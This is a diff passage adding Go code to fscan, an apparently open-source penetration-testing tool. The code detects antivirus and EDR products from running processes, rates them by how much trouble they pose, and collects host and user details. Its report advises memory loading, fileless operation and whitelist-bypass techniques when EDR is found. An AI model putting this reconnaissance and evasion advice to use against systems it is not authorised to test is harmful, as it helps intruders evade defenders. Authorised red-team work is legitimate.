"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed auto.json
|
||||||
|
var embeddedAVDatabase []byte
|
||||||
|
|
||||||
|
// AVDetectPlugin AV/EDR检测插件
|
||||||
|
type AVDetectPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
connector *AVDetectConnector
|
||||||
|
|
||||||
|
// AV/EDR数据库
|
||||||
|
avDatabase map[string]AVProduct
|
||||||
|
configPath string
|
||||||
|
}
|
||||||
|
|
||||||
|
// AVDetectConnector AV/EDR检测连接器
|
||||||
|
type AVDetectConnector struct {
|
||||||
|
*local.BaseLocalConnector
|
||||||
|
}
|
||||||
|
|
||||||
|
// AVDetectConnection AV/EDR检测连接对象
|
||||||
|
type AVDetectConnection struct {
|
||||||
|
*local.LocalConnection
|
||||||
|
RunningProcesses []ProcessInfo
|
||||||
|
SystemInfo map[string]string
|
||||||
|
}
|
||||||
|
|
||||||
|
// AVProduct AV/EDR产品信息
|
||||||
|
type AVProduct struct {
|
||||||
|
Processes []string `json:"processes"`
|
||||||
|
URL string `json:"url"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProcessInfo 进程信息
|
||||||
|
type ProcessInfo struct {
|
||||||
|
Name string
|
||||||
|
PID string
|
||||||
|
SessionName string
|
||||||
|
SessionID string
|
||||||
|
MemUsage string
|
||||||
|
Services []string // 服务信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// DetectionResult 检测结果
|
||||||
|
type DetectionResult struct {
|
||||||
|
ProductName string `json:"product_name"`
|
||||||
|
DetectedProcesses []ProcessInfo `json:"detected_processes"`
|
||||||
|
URL string `json:"url"`
|
||||||
|
RiskLevel string `json:"risk_level"`
|
||||||
|
Category string `json:"category"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewAVDetectPlugin 创建AV/EDR检测插件
|
||||||
|
func NewAVDetectPlugin() *AVDetectPlugin {
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "avdetect",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "自动化AV/EDR检测插件,基于auto.json规则库识别安全软件",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "av", "edr", "detection", "security"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
connector := NewAVDetectConnector()
|
||||||
|
plugin := &AVDetectPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||||
|
connector: connector,
|
||||||
|
avDatabase: make(map[string]AVProduct),
|
||||||
|
configPath: "auto.json", // 默认配置文件路径
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置支持的平台
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 不需要特殊权限
|
||||||
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewAVDetectConnector 创建AV/EDR检测连接器
|
||||||
|
func NewAVDetectConnector() *AVDetectConnector {
|
||||||
|
baseConnector, _ := local.NewBaseLocalConnector()
|
||||||
|
|
||||||
|
return &AVDetectConnector{
|
||||||
|
BaseLocalConnector: baseConnector,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 建立AV/EDR检测连接
|
||||||
|
func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||||
|
// 先建立基础本地连接
|
||||||
|
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
baseConn := localConn.(*local.LocalConnection)
|
||||||
|
|
||||||
|
// 获取系统进程信息
|
||||||
|
processes, err := c.getRunningProcesses()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("获取进程列表失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
avDetectConn := &AVDetectConnection{
|
||||||
|
LocalConnection: baseConn,
|
||||||
|
RunningProcesses: processes,
|
||||||
|
SystemInfo: baseConn.SystemInfo,
|
||||||
|
}
|
||||||
|
|
||||||
|
return avDetectConn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭AV/EDR检测连接
|
||||||
|
func (c *AVDetectConnector) Close(conn interface{}) error {
|
||||||
|
return c.BaseLocalConnector.Close(conn)
|
||||||
|
}
|
||||||
|
|
||||||
|
// getRunningProcesses 获取运行中的进程列表
|
||||||
|
func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
|
||||||
|
var processes []ProcessInfo
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
// Windows使用PowerShell获取进程信息以避免编码问题
|
||||||
|
cmd = exec.Command("powershell", "-Command", "Get-Process | Select-Object Name,Id,ProcessName | ConvertTo-Csv -NoTypeInformation")
|
||||||
|
case "linux", "darwin":
|
||||||
|
// Unix-like系统使用ps命令
|
||||||
|
cmd = exec.Command("ps", "aux")
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
|
||||||
|
}
|
||||||
|
|
||||||
|
output, err := cmd.Output()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("执行命令失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析命令输出
|
||||||
|
processes, err = c.parseProcessOutput(string(output))
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("解析进程信息失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return processes, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseProcessOutput 解析进程命令输出
|
||||||
|
func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) {
|
||||||
|
var processes []ProcessInfo
|
||||||
|
scanner := bufio.NewScanner(strings.NewReader(output))
|
||||||
|
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
// 跳过CSV标题行
|
||||||
|
if scanner.Scan() {
|
||||||
|
// 标题行,跳过
|
||||||
|
}
|
||||||
|
|
||||||
|
for scanner.Scan() {
|
||||||
|
line := scanner.Text()
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析PowerShell CSV格式:Name,Id,ProcessName
|
||||||
|
fields := c.parseCSVLine(line)
|
||||||
|
if len(fields) >= 3 {
|
||||||
|
processName := strings.Trim(fields[0], "\"")
|
||||||
|
// 如果进程名不包含.exe,则添加
|
||||||
|
if !strings.HasSuffix(strings.ToLower(processName), ".exe") {
|
||||||
|
processName += ".exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
process := ProcessInfo{
|
||||||
|
Name: processName,
|
||||||
|
PID: strings.Trim(fields[1], "\""),
|
||||||
|
}
|
||||||
|
|
||||||
|
processes = append(processes, process)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case "linux", "darwin":
|
||||||
|
// 跳过ps命令的标题行
|
||||||
|
if scanner.Scan() {
|
||||||
|
// 标题行,跳过
|
||||||
|
}
|
||||||
|
|
||||||
|
for scanner.Scan() {
|
||||||
|
line := scanner.Text()
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析ps aux输出
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) >= 11 {
|
||||||
|
process := ProcessInfo{
|
||||||
|
Name: fields[10], // 命令名
|
||||||
|
PID: fields[1], // PID
|
||||||
|
MemUsage: fields[5], // 内存使用
|
||||||
|
}
|
||||||
|
processes = append(processes, process)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return processes, scanner.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseCSVLine 解析CSV行,处理引号内的逗号
|
||||||
|
func (c *AVDetectConnector) parseCSVLine(line string) []string {
|
||||||
|
var fields []string
|
||||||
|
var current strings.Builder
|
||||||
|
inQuotes := false
|
||||||
|
|
||||||
|
for i, char := range line {
|
||||||
|
switch char {
|
||||||
|
case '"':
|
||||||
|
inQuotes = !inQuotes
|
||||||
|
current.WriteRune(char)
|
||||||
|
case ',':
|
||||||
|
if inQuotes {
|
||||||
|
current.WriteRune(char)
|
||||||
|
} else {
|
||||||
|
fields = append(fields, current.String())
|
||||||
|
current.Reset()
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
current.WriteRune(char)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理行尾
|
||||||
|
if i == len(line)-1 {
|
||||||
|
fields = append(fields, current.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return fields
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行AV/EDR检测扫描
|
||||||
|
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
common.LogBase("开始AV/EDR安全软件检测...")
|
||||||
|
|
||||||
|
// 加载AV数据库
|
||||||
|
err := p.loadAVDatabase()
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err))
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: err,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase)))
|
||||||
|
|
||||||
|
// 建立连接
|
||||||
|
conn, err := p.connector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
defer p.connector.Close(conn)
|
||||||
|
|
||||||
|
avDetectConn := conn.(*AVDetectConnection)
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses)))
|
||||||
|
|
||||||
|
// 执行AV/EDR检测
|
||||||
|
detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses)
|
||||||
|
|
||||||
|
// 生成检测报告
|
||||||
|
report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo)
|
||||||
|
|
||||||
|
result := &base.ScanResult{
|
||||||
|
Success: len(detectionResults) >= 0, // 即使没有检测到也算成功
|
||||||
|
Service: "AVDetect",
|
||||||
|
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"detected_products": detectionResults,
|
||||||
|
"total_processes": len(avDetectConn.RunningProcesses),
|
||||||
|
"detection_report": report,
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"database_products": len(p.avDatabase),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(detectionResults) > 0 {
|
||||||
|
common.LogSuccess(fmt.Sprintf("AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
|
||||||
|
for _, detection := range detectionResults {
|
||||||
|
common.LogSuccess(fmt.Sprintf("检测到: %s (%d个进程)", detection.ProductName, len(detection.DetectedProcesses)))
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
common.LogBase("未检测到已知的AV/EDR安全产品")
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// loadAVDatabase 加载AV/EDR数据库
|
||||||
|
func (p *AVDetectPlugin) loadAVDatabase() error {
|
||||||
|
// 首先尝试使用嵌入的数据库
|
||||||
|
common.LogDebug("使用嵌入的AV/EDR规则数据库")
|
||||||
|
|
||||||
|
err := json.Unmarshal(embeddedAVDatabase, &p.avDatabase)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("解析嵌入的AV数据库失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(p.avDatabase) == 0 {
|
||||||
|
return fmt.Errorf("嵌入的AV数据库为空或格式错误")
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// detectAVEDR 检测AV/EDR产品
|
||||||
|
func (p *AVDetectPlugin) detectAVEDR(processes []ProcessInfo) []DetectionResult {
|
||||||
|
var results []DetectionResult
|
||||||
|
processMap := make(map[string][]ProcessInfo)
|
||||||
|
|
||||||
|
// 构建进程名称映射,忽略大小写
|
||||||
|
for _, process := range processes {
|
||||||
|
processName := strings.ToLower(process.Name)
|
||||||
|
processMap[processName] = append(processMap[processName], process)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 遍历AV数据库进行匹配
|
||||||
|
for productName, avProduct := range p.avDatabase {
|
||||||
|
var detectedProcesses []ProcessInfo
|
||||||
|
|
||||||
|
// 检查每个已知进程
|
||||||
|
for _, targetProcess := range avProduct.Processes {
|
||||||
|
targetProcessLower := strings.ToLower(targetProcess)
|
||||||
|
|
||||||
|
// 精确匹配
|
||||||
|
if matchedProcesses, exists := processMap[targetProcessLower]; exists {
|
||||||
|
detectedProcesses = append(detectedProcesses, matchedProcesses...)
|
||||||
|
} else {
|
||||||
|
// 模糊匹配(去除扩展名)
|
||||||
|
targetWithoutExt := strings.TrimSuffix(targetProcessLower, filepath.Ext(targetProcessLower))
|
||||||
|
for processName, matchedProcesses := range processMap {
|
||||||
|
processWithoutExt := strings.TrimSuffix(processName, filepath.Ext(processName))
|
||||||
|
if processWithoutExt == targetWithoutExt {
|
||||||
|
detectedProcesses = append(detectedProcesses, matchedProcesses...)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果检测到进程,添加到结果中
|
||||||
|
if len(detectedProcesses) > 0 {
|
||||||
|
// 去重
|
||||||
|
detectedProcesses = p.deduplicateProcesses(detectedProcesses)
|
||||||
|
|
||||||
|
result := DetectionResult{
|
||||||
|
ProductName: productName,
|
||||||
|
DetectedProcesses: detectedProcesses,
|
||||||
|
URL: avProduct.URL,
|
||||||
|
RiskLevel: p.assessRiskLevel(productName, detectedProcesses),
|
||||||
|
Category: p.categorizeProduct(productName),
|
||||||
|
}
|
||||||
|
|
||||||
|
results = append(results, result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按检测到的进程数量排序
|
||||||
|
sort.Slice(results, func(i, j int) bool {
|
||||||
|
return len(results[i].DetectedProcesses) > len(results[j].DetectedProcesses)
|
||||||
|
})
|
||||||
|
|
||||||
|
return results
|
||||||
|
}
|
||||||
|
|
||||||
|
// deduplicateProcesses 去重进程列表
|
||||||
|
func (p *AVDetectPlugin) deduplicateProcesses(processes []ProcessInfo) []ProcessInfo {
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
var result []ProcessInfo
|
||||||
|
|
||||||
|
for _, process := range processes {
|
||||||
|
key := fmt.Sprintf("%s-%s", process.Name, process.PID)
|
||||||
|
if !seen[key] {
|
||||||
|
seen[key] = true
|
||||||
|
result = append(result, process)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// assessRiskLevel 评估风险等级
|
||||||
|
func (p *AVDetectPlugin) assessRiskLevel(productName string, processes []ProcessInfo) string {
|
||||||
|
// 基于产品名称和进程数量评估风险等级
|
||||||
|
productLower := strings.ToLower(productName)
|
||||||
|
|
||||||
|
// 高风险EDR产品
|
||||||
|
highRiskKeywords := []string{"crowdstrike", "sentinelone", "cybereason", "endgame",
|
||||||
|
"fireeye", "trellix", "elastic security", "深信服", "奇安信", "天擎"}
|
||||||
|
|
||||||
|
for _, keyword := range highRiskKeywords {
|
||||||
|
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||||
|
return "HIGH"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 中等风险(企业级AV)
|
||||||
|
mediumRiskKeywords := []string{"kaspersky", "symantec", "mcafee", "趋势科技",
|
||||||
|
"bitdefender", "eset", "sophos", "火绒", "360"}
|
||||||
|
|
||||||
|
for _, keyword := range mediumRiskKeywords {
|
||||||
|
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||||
|
return "MEDIUM"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 根据进程数量判断
|
||||||
|
if len(processes) >= 3 {
|
||||||
|
return "MEDIUM"
|
||||||
|
}
|
||||||
|
|
||||||
|
return "LOW"
|
||||||
|
}
|
||||||
|
|
||||||
|
// categorizeProduct 产品分类
|
||||||
|
func (p *AVDetectPlugin) categorizeProduct(productName string) string {
|
||||||
|
productLower := strings.ToLower(productName)
|
||||||
|
|
||||||
|
// EDR产品
|
||||||
|
edrKeywords := []string{"edr", "endpoint", "crowdstrike", "sentinelone",
|
||||||
|
"cybereason", "深信服edr", "天擎", "elastic security"}
|
||||||
|
|
||||||
|
for _, keyword := range edrKeywords {
|
||||||
|
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||||
|
return "EDR"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 企业级防病毒
|
||||||
|
enterpriseKeywords := []string{"enterprise", "business", "server",
|
||||||
|
"corporate", "管理版", "企业版"}
|
||||||
|
|
||||||
|
for _, keyword := range enterpriseKeywords {
|
||||||
|
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||||
|
return "Enterprise AV"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 云安全
|
||||||
|
cloudKeywords := []string{"cloud", "阿里云", "腾讯云", "云锁", "云安全"}
|
||||||
|
|
||||||
|
for _, keyword := range cloudKeywords {
|
||||||
|
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||||
|
return "Cloud Security"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 主机防护
|
||||||
|
hostKeywords := []string{"host", "hips", "主机", "防护", "卫士"}
|
||||||
|
|
||||||
|
for _, keyword := range hostKeywords {
|
||||||
|
if strings.Contains(productLower, strings.ToLower(keyword)) {
|
||||||
|
return "Host Protection"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "Traditional AV"
|
||||||
|
}
|
||||||
|
|
||||||
|
// generateDetectionReport 生成检测报告
|
||||||
|
func (p *AVDetectPlugin) generateDetectionReport(results []DetectionResult, systemInfo map[string]string) string {
|
||||||
|
var report strings.Builder
|
||||||
|
|
||||||
|
report.WriteString("=== AV/EDR 检测报告 ===\n")
|
||||||
|
report.WriteString(fmt.Sprintf("扫描时间: %s\n", time.Now().Format("2006-01-02 15:04:05")))
|
||||||
|
report.WriteString(fmt.Sprintf("系统平台: %s/%s\n", systemInfo["os"], systemInfo["arch"]))
|
||||||
|
report.WriteString(fmt.Sprintf("检测产品: %d 个\n\n", len(results)))
|
||||||
|
|
||||||
|
if len(results) == 0 {
|
||||||
|
report.WriteString("未检测到已知的AV/EDR产品\n")
|
||||||
|
report.WriteString("注意: 可能存在未知安全软件或进程伪装\n")
|
||||||
|
return report.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按风险等级分组
|
||||||
|
riskGroups := map[string][]DetectionResult{
|
||||||
|
"HIGH": {},
|
||||||
|
"MEDIUM": {},
|
||||||
|
"LOW": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, result := range results {
|
||||||
|
riskGroups[result.RiskLevel] = append(riskGroups[result.RiskLevel], result)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 高风险产品
|
||||||
|
if len(riskGroups["HIGH"]) > 0 {
|
||||||
|
report.WriteString("🔴 高风险安全产品:\n")
|
||||||
|
for _, result := range riskGroups["HIGH"] {
|
||||||
|
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
|
||||||
|
result.ProductName, result.Category, len(result.DetectedProcesses)))
|
||||||
|
for _, process := range result.DetectedProcesses {
|
||||||
|
report.WriteString(fmt.Sprintf(" - %s (PID: %s)\n", process.Name, process.PID))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
report.WriteString("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 中等风险产品
|
||||||
|
if len(riskGroups["MEDIUM"]) > 0 {
|
||||||
|
report.WriteString("🟡 中等风险安全产品:\n")
|
||||||
|
for _, result := range riskGroups["MEDIUM"] {
|
||||||
|
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
|
||||||
|
result.ProductName, result.Category, len(result.DetectedProcesses)))
|
||||||
|
}
|
||||||
|
report.WriteString("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 低风险产品
|
||||||
|
if len(riskGroups["LOW"]) > 0 {
|
||||||
|
report.WriteString("🟢 低风险安全产品:\n")
|
||||||
|
for _, result := range riskGroups["LOW"] {
|
||||||
|
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
|
||||||
|
result.ProductName, result.Category, len(result.DetectedProcesses)))
|
||||||
|
}
|
||||||
|
report.WriteString("\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 建议
|
||||||
|
report.WriteString("=== 渗透测试建议 ===\n")
|
||||||
|
if len(riskGroups["HIGH"]) > 0 {
|
||||||
|
report.WriteString("⚠️ 检测到高级EDR产品,建议:\n")
|
||||||
|
report.WriteString(" - 使用内存加载技术\n")
|
||||||
|
report.WriteString(" - 避免落地文件\n")
|
||||||
|
report.WriteString(" - 使用白名单绕过技术\n")
|
||||||
|
report.WriteString(" - 考虑Living off the Land技术\n\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(results) > 1 {
|
||||||
|
report.WriteString("📊 检测到多个安全产品,环境复杂度较高\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
return report.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 获取AV/EDR检测本地数据
|
||||||
|
func (p *AVDetectPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
data["plugin_type"] = "avdetect"
|
||||||
|
data["platform"] = runtime.GOOS
|
||||||
|
data["arch"] = runtime.GOARCH
|
||||||
|
data["database_size"] = len(p.avDatabase)
|
||||||
|
|
||||||
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||||
|
data["home_dir"] = homeDir
|
||||||
|
}
|
||||||
|
|
||||||
|
if workDir, err := os.Getwd(); err == nil {
|
||||||
|
data["work_dir"] = workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 提取AV/EDR检测数据
|
||||||
|
func (p *AVDetectPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: true,
|
||||||
|
Output: "AV/EDR检测完成",
|
||||||
|
Data: data,
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"detection_type": "automated",
|
||||||
|
"database_version": "auto.json",
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *AVDetectPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString(fmt.Sprintf("AV/EDR自动检测插件 - 规则库: %d 个产品\n", len(p.avDatabase)))
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("检测方式: tasklist/ps + JSON规则匹配\n")
|
||||||
|
info.WriteString("功能: 自动识别常见AV/EDR产品并评估风险等级\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterAVDetectPlugin 注册AV/EDR检测插件
|
||||||
|
func RegisterAVDetectPlugin() {
|
||||||
|
factory := base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "avdetect",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "自动化AV/EDR检测插件,基于auto.json规则库识别安全软件",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"avdetect", "local", "av", "edr", "security"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewAVDetectPlugin()
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("avdetect", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterAVDetectPlugin()
|
||||||
|
}
|
163
Plugins/local/connector.go
Normal file
163
Plugins/local/connector.go
Normal file
@ -0,0 +1,163 @@
|
|||||||
|
package local
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"path/filepath"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BaseLocalConnector 基础本地连接器实现
|
||||||
|
type BaseLocalConnector struct {
|
||||||
|
workingDir string
|
||||||
|
homeDir string
|
||||||
|
systemInfo map[string]string
|
||||||
|
}
|
||||||
|
|
||||||
|
// LocalConnection 本地连接对象
|
||||||
|
type LocalConnection struct {
|
||||||
|
WorkingDir string
|
||||||
|
HomeDir string
|
||||||
|
SystemInfo map[string]string
|
||||||
|
TempDir string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewBaseLocalConnector 创建基础本地连接器
|
||||||
|
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
|
||||||
|
homeDir, err := os.UserHomeDir()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
workingDir, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return &BaseLocalConnector{
|
||||||
|
workingDir: workingDir,
|
||||||
|
homeDir: homeDir,
|
||||||
|
systemInfo: make(map[string]string),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 建立本地连接
|
||||||
|
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||||
|
// 初始化系统信息
|
||||||
|
c.initSystemInfo()
|
||||||
|
|
||||||
|
tempDir := os.TempDir()
|
||||||
|
|
||||||
|
conn := &LocalConnection{
|
||||||
|
WorkingDir: c.workingDir,
|
||||||
|
HomeDir: c.homeDir,
|
||||||
|
SystemInfo: c.systemInfo,
|
||||||
|
TempDir: tempDir,
|
||||||
|
}
|
||||||
|
|
||||||
|
return conn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭连接
|
||||||
|
func (c *BaseLocalConnector) Close(conn interface{}) error {
|
||||||
|
// 本地连接无需特殊关闭操作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSystemInfo 获取系统信息
|
||||||
|
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
|
||||||
|
localConn, ok := conn.(*LocalConnection)
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("无效的连接类型")
|
||||||
|
}
|
||||||
|
|
||||||
|
return localConn.SystemInfo, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// initSystemInfo 初始化系统信息
|
||||||
|
func (c *BaseLocalConnector) initSystemInfo() {
|
||||||
|
c.systemInfo["os"] = runtime.GOOS
|
||||||
|
c.systemInfo["arch"] = runtime.GOARCH
|
||||||
|
c.systemInfo["home_dir"] = c.homeDir
|
||||||
|
c.systemInfo["working_dir"] = c.workingDir
|
||||||
|
c.systemInfo["temp_dir"] = os.TempDir()
|
||||||
|
|
||||||
|
// 获取用户名
|
||||||
|
if username := os.Getenv("USER"); username != "" {
|
||||||
|
c.systemInfo["username"] = username
|
||||||
|
} else if username := os.Getenv("USERNAME"); username != "" {
|
||||||
|
c.systemInfo["username"] = username
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取主机名
|
||||||
|
if hostname, err := os.Hostname(); err == nil {
|
||||||
|
c.systemInfo["hostname"] = hostname
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCommonDirectories 获取常见目录路径
|
||||||
|
func (c *BaseLocalConnector) GetCommonDirectories() []string {
|
||||||
|
var dirs []string
|
||||||
|
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
dirs = []string{
|
||||||
|
c.homeDir,
|
||||||
|
filepath.Join(c.homeDir, "Desktop"),
|
||||||
|
filepath.Join(c.homeDir, "Documents"),
|
||||||
|
filepath.Join(c.homeDir, "Downloads"),
|
||||||
|
"C:\\Users\\Public\\Documents",
|
||||||
|
"C:\\Users\\Public\\Desktop",
|
||||||
|
"C:\\Program Files",
|
||||||
|
"C:\\Program Files (x86)",
|
||||||
|
}
|
||||||
|
case "linux", "darwin":
|
||||||
|
dirs = []string{
|
||||||
|
c.homeDir,
|
||||||
|
filepath.Join(c.homeDir, "Desktop"),
|
||||||
|
filepath.Join(c.homeDir, "Documents"),
|
||||||
|
filepath.Join(c.homeDir, "Downloads"),
|
